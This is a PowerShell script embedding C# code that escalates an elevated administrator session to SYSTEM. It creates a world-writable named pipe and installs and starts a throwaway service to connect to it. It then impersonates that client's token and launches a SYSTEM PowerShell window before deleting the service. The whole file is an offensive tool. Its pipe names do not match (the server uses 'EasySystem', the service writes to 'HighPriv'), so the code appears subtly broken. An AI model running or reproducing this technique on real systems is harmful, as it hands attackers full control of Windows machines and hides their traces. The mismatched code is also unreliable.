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EasySystem.ps1
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EasySystem.ps1
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$easysystem = @"
using System;
using System.IO;
using System.Text;
using System.IO.Pipes;
using System.Threading;
using System.Security.Principal;
using System.Security.AccessControl;
using System.Runtime.InteropServices;
namespace HighPrivs
{
public class System
{
public class ServiceHelper
{
[Flags]
public enum SCM_ACCESS : uint
{
STANDARD_RIGHTS_REQUIRED = 0xF0000,
SC_MANAGER_CONNECT = 0x00001,
SC_MANAGER_CREATE_SERVICE = 0x00002,
SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
SC_MANAGER_LOCK = 0x00008,
SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
SC_MANAGER_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED |
SC_MANAGER_CONNECT |
SC_MANAGER_CREATE_SERVICE |
SC_MANAGER_ENUMERATE_SERVICE |
SC_MANAGER_LOCK |
SC_MANAGER_QUERY_LOCK_STATUS |
SC_MANAGER_MODIFY_BOOT_CONFIG
}
[Flags]
public enum SERVICE_ACCESS : uint
{
STANDARD_RIGHTS_REQUIRED = 0xF0000,
SERVICE_QUERY_CONFIG = 0x00001,
SERVICE_CHANGE_CONFIG = 0x00002,
SERVICE_QUERY_STATUS = 0x00004,
SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
SERVICE_START = 0x00010,
SERVICE_STOP = 0x00020,
SERVICE_PAUSE_CONTINUE = 0x00040,
SERVICE_INTERROGATE = 0x00080,
SERVICE_USER_DEFINED_CONTROL = 0x00100,
SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
SERVICE_QUERY_CONFIG |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_INTERROGATE |
SERVICE_USER_DEFINED_CONTROL)
}
[Flags]
public enum SERVICE_TYPE : uint
{
SERVICE_KERNEL_DRIVER = 0x00000001,
SERVICE_FILE_SYSTEM_DRIVER = 0x00000002,
SERVICE_WIN32_OWN_PROCESS = 0x00000010,
SERVICE_WIN32_SHARE_PROCESS = 0x00000020,
SERVICE_INTERACTIVE_PROCESS = 0x00000100
}
public enum SERVICE_START : uint
{
SERVICE_BOOT_START = 0x00000000,
SERVICE_SYSTEM_START = 0x00000001,
SERVICE_AUTO_START = 0x00000002,
SERVICE_DEMAND_START = 0x00000003,
SERVICE_DISABLED = 0x00000004,
}
public enum SERVICE_ERROR
{
SERVICE_ERROR_IGNORE = 0x00000000,
SERVICE_ERROR_NORMAL = 0x00000001,
SERVICE_ERROR_SEVERE = 0x00000002,
SERVICE_ERROR_CRITICAL = 0x00000003,
}
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(
string lpMachineName,
string lpDatabaseName,
SCM_ACCESS dwDesiredAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr CreateService(
IntPtr hSCManager,
string lpServiceName,
string lpDisplayName,
SERVICE_ACCESS dwDesiredAccess,
SERVICE_TYPE dwServiceType,
SERVICE_START dwStartType,
SERVICE_ERROR dwErrorControl,
string lpBinaryPathName,
string lpLoadOrderGroup,
string lpdwTagId,
string lpDependencies,
string lpServiceStartName,
string lpPassword);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseServiceHandle(
IntPtr hSCObject);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr OpenService(
IntPtr hSCManager,
string lpServiceName,
SCM_ACCESS dwDesiredAccess);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[] lpServiceArgVectors);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DeleteService(
IntPtr hService);
public static bool CreateNewService(string lpSVCName, string lpSVCCommand)
{
IntPtr serviceDbHandle = OpenSCManager(
null, // Local computer
null, // ServicesActive database
SCM_ACCESS.SC_MANAGER_ALL_ACCESS); // Full Access rights
if (serviceDbHandle == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to connect to the Service Control Manager (SCM).");
return false;
}
IntPtr schService = CreateService(
serviceDbHandle, // SCM database
lpSVCName, // Name of service
lpSVCName, // Service name to display
SERVICE_ACCESS.SERVICE_ALL_ACCESS, // Desired access
SERVICE_TYPE.SERVICE_WIN32_OWN_PROCESS, // Service type
SERVICE_START.SERVICE_DEMAND_START, // Start type
SERVICE_ERROR.SERVICE_ERROR_NORMAL, // Error control type
lpSVCCommand, // Path to service's binary
null, // No load ordering group
null, // No tag identifier
null, // No dependencies
null, // LocalSystem account
null); // No password
if (schService == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to Create Service, error: ({0})", Marshal.GetLastWin32Error());
CloseServiceHandle(serviceDbHandle);
return false;
}
Console.WriteLine("[*] Pipe Client Service installed successfully.");
IntPtr serviceHandle = OpenService(serviceDbHandle, lpSVCName, SCM_ACCESS.SC_MANAGER_ALL_ACCESS);
Console.WriteLine("[*] Starting Pipe Client Service.");
StartService(serviceHandle, 0, null); // Start the Service
if (!DeleteService(serviceHandle))
{
Console.WriteLine("[!] Failed to remove Service, error: ({0})", Marshal.GetLastWin32Error());
}
Console.WriteLine("[*] Removed Pipe Service successfully.");
CloseServiceHandle(serviceHandle);
CloseServiceHandle(serviceDbHandle);
return true;
}
}
public class NamedPipeServerHelper
{
public enum TOKEN_ACCESS : uint
{
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
TOKEN_ASSIGN_PRIMARY = 0x0001,
TOKEN_DUPLICATE = 0x0002,
TOKEN_IMPERSONATE = 0x0004,
TOKEN_QUERY = 0x0008,
TOKEN_QUERY_SOURCE = 0x0010,
TOKEN_ADJUST_PRIVILEGES = 0x0020,
TOKEN_ADJUST_GROUPS = 0x0040,
TOKEN_ADJUST_DEFAULT = 0x0080,
TOKEN_ADJUST_SESSIONID = 0x0100,
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY),
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID)
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId,
TokenGroupsAndPrivileges,
TokenSessionReference,
TokenSandBoxInert,
TokenAuditPolicy,
TokenOrigin,
TokenElevationType,
TokenLinkedToken,
TokenElevation,
TokenHasRestrictions,
TokenAccessInformation,
TokenVirtualizationAllowed,
TokenVirtualizationEnabled,
TokenIntegrityLevel,
TokenUIAccess,
TokenMandatoryPolicy,
TokenLogonSid,
MaxTokenInfoClass
}
[Flags]
public enum CreateProcessFlags : uint
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
DEBUG_PROCESS = 0x00000001,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
CREATE_SUSPENDED = 0x00000004,
DETACHED_PROCESS = 0x00000008,
CREATE_NEW_CONSOLE = 0x00000010,
NORMAL_PRIORITY_CLASS = 0x00000020,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[Flags]
public enum LogonFlags
{
LOGON_WITH_PROFILE = 0x00000001,
LOGON_NETCREDENTIALS_ONLY = 0x00000002
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ImpersonateNamedPipeClient(
IntPtr hNamedPipe);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool RevertToSelf();
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CloseHandle(
IntPtr handle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentThread();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
TOKEN_ACCESS DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(
IntPtr pHandle,
IntPtr hToken);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool DuplicateTokenEx(
IntPtr hExistingToken,
TOKEN_ACCESS dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE TokenType,
out IntPtr phNewToken);
[DllImport("Kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.U4)]
public static extern UInt32 WTSGetActiveConsoleSessionId();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern Boolean SetTokenInformation(
IntPtr TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
ref UInt32 TokenInformation,
UInt32 TokenInformationLength);
[DllImport("userenv.dll", SetLastError = true)]
public static extern bool CreateEnvironmentBlock(
out IntPtr lpEnvironment,
IntPtr hToken,
bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DestroyEnvironmentBlock(
IntPtr lpEnvironment);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
LogonFlags dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static void NamedPipeServer(object data)
{
// Create a Named Pipe to send or receive data
PipeSecurity ps = new PipeSecurity();
ps.AddAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.ReadWrite, AccessControlType.Allow));
NamedPipeServerStream pipeServer = new NamedPipeServerStream(
"EasySystem",
PipeDirection.InOut,
dwThreadCount,
PipeTransmissionMode.Byte,
PipeOptions.None,
1024,
1024,
ps);
IntPtr PipeHandle = pipeServer.SafePipeHandle.DangerousGetHandle();
if (PipeHandle == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to create outbound Pipe instance.");
return;
}
Console.WriteLine("[*] Waiting for a client to connect to the Pipe.");
// This call blocks until a client process connects to the Pipe
pipeServer.WaitForConnection();
int threadId = Thread.CurrentThread.ManagedThreadId;
Console.WriteLine("[*] Pipe Client connected on thread ID: {0} -> Reading data from the Pipe.", threadId);
// Create a StreamReader so we can Read from the Named Pipe
StreamReader pipeStreamReader = new StreamReader(pipeServer);
string readFromPipe = pipeStreamReader.ReadLine();
if (readFromPipe == null)
{
Console.WriteLine("[*] Failed to read data from the Pipe.");
return;
}
Console.WriteLine("[*] Number of bytes read: {0}", Encoding.ASCII.GetByteCount(readFromPipe) + 2);
Console.WriteLine("[*] Our buffer contains: {0}\n", readFromPipe);
// Impersonate the Client.
if (!ImpersonateNamedPipeClient(PipeHandle))
{
Console.WriteLine("[!] Failed to Impersonate client, error: {0}", Marshal.GetLastWin32Error());
}
Console.WriteLine("[*] Impersonate Named Pipe Client.");
// Get an impersonation token with the client's security context.
IntPtr hToken = IntPtr.Zero;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ACCESS.TOKEN_ALL_ACCESS, true, out hToken))
Console.WriteLine("[!] Failed to get Token, error: {0}", Marshal.GetLastWin32Error());
Console.WriteLine("[*] Get Impersonation Token.");
// Create an Primary token from our impersonation token
SECURITY_ATTRIBUTES lpSecurityAttributes = new SECURITY_ATTRIBUTES();
lpSecurityAttributes.nLength = Marshal.SizeOf(lpSecurityAttributes);
IntPtr hPrimaryToken = IntPtr.Zero;
bool result = DuplicateTokenEx(
hToken,
TOKEN_ACCESS.TOKEN_ALL_ACCESS,
ref lpSecurityAttributes,
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
TOKEN_TYPE.TokenPrimary,
out hPrimaryToken);
if (hPrimaryToken == IntPtr.Zero)
{
Console.WriteLine("[*] Failed Duplicating the Token.");
return;
}
Console.WriteLine("[*] Create a Primary Token from our Impersonation Token.");
// Modify token SessionId field to spawn a interactive Processes on the current desktop
uint sessionId = WTSGetActiveConsoleSessionId();
if (!SetTokenInformation(hPrimaryToken,
TOKEN_INFORMATION_CLASS.TokenSessionId,
ref sessionId,
sizeof(UInt32)))
{
Console.WriteLine("[*] Failed to Modify token SessionId.");
return;
}
// Get all necessary environment variables of logged in user to pass them to the process
IntPtr lpEnvironment = IntPtr.Zero;
if (!CreateEnvironmentBlock(out lpEnvironment, hPrimaryToken, true))
{
Console.WriteLine("[*] Failed to create EnvironmentBlock.");
return;
}
// Start Process with our New token
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
STARTUPINFO startupInfo = new STARTUPINFO();
const int SW_SHOW = 5;
string szCommandLine = "powershell.exe";
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "Winsta0\\default";
startupInfo.wShowWindow = SW_SHOW;
if (!CreateProcessWithTokenW(
hPrimaryToken,
LogonFlags.LOGON_WITH_PROFILE,
null,
szCommandLine,
CreateProcessFlags.NORMAL_PRIORITY_CLASS | CreateProcessFlags.CREATE_NEW_CONSOLE | CreateProcessFlags.CREATE_UNICODE_ENVIRONMENT,
lpEnvironment,
null,
ref startupInfo,
out processInfo))
{
Console.WriteLine("[!] Failed to Create Process, error: {0}", Marshal.GetLastWin32Error());
}
// Destroy Environment Block
DestroyEnvironmentBlock(lpEnvironment);
// End impersonation of client
RevertToSelf();
//Close Token Handles
CloseHandle(hPrimaryToken);
CloseHandle(hToken);
// Close the pipe (automatically disconnects client too)
pipeServer.Close();
return;
}
}
private static int dwThreadCount = 1;
public static void EasySystemShell()
{
Console.WriteLine("Getting System Privs.\n");
if (!WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid))
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[!] For EasySystem you need UAC Elevated Administrator privileges.\n");
Console.ResetColor();
return;
}
Console.WriteLine("[*] Creating an instance of a Named Pipe.");
// Creating a MultiThreaded Named Pipe server (In this case only a single Thread)
uint i;
Thread[] pipeServers = new Thread[dwThreadCount];
for (i = 0; i < dwThreadCount; i++)
{
// Create Threads for the Clients
pipeServers[i] = new Thread(NamedPipeServerHelper.NamedPipeServer);
pipeServers[i].Start();
Console.WriteLine("[*] Server Thread with ID: {0} created.", pipeServers[i].ManagedThreadId);
if (pipeServers[i] == null)
{
Console.WriteLine("[!] Create Server Thread failed.");
return;
}
}
// Let's Create and Start a Service which should connect to our Pipe
string lpSVCName = "svcHighPriv";
string lpSVCCommand = @"%COMSPEC% /C echo 'What uuup!' > \\.\pipe\HighPriv";
if (!ServiceHelper.CreateNewService(lpSVCName, lpSVCCommand))
{
Console.WriteLine("[!] Are you sure you have Administrator permission?");
}
// Waiting for Threads to finish
Thread.Sleep(2000);
while (i > 0)
{
for (int j = 0; j < dwThreadCount; j++)
{
if (pipeServers[j] != null)
{
if (pipeServers[j].Join(2000))
{
Console.WriteLine("[*] Server Thread ID: {0} Finished successfully.", pipeServers[j].ManagedThreadId);
pipeServers[j] = null;
i--; // Decrement the Thread Watch Count.
}
}
}
}
Console.WriteLine("\n[*] Done\n");
return;
}
}
}
"@
Add-Type -TypeDefinition $easysystem
[HighPrivs.System]::EasySystemShell()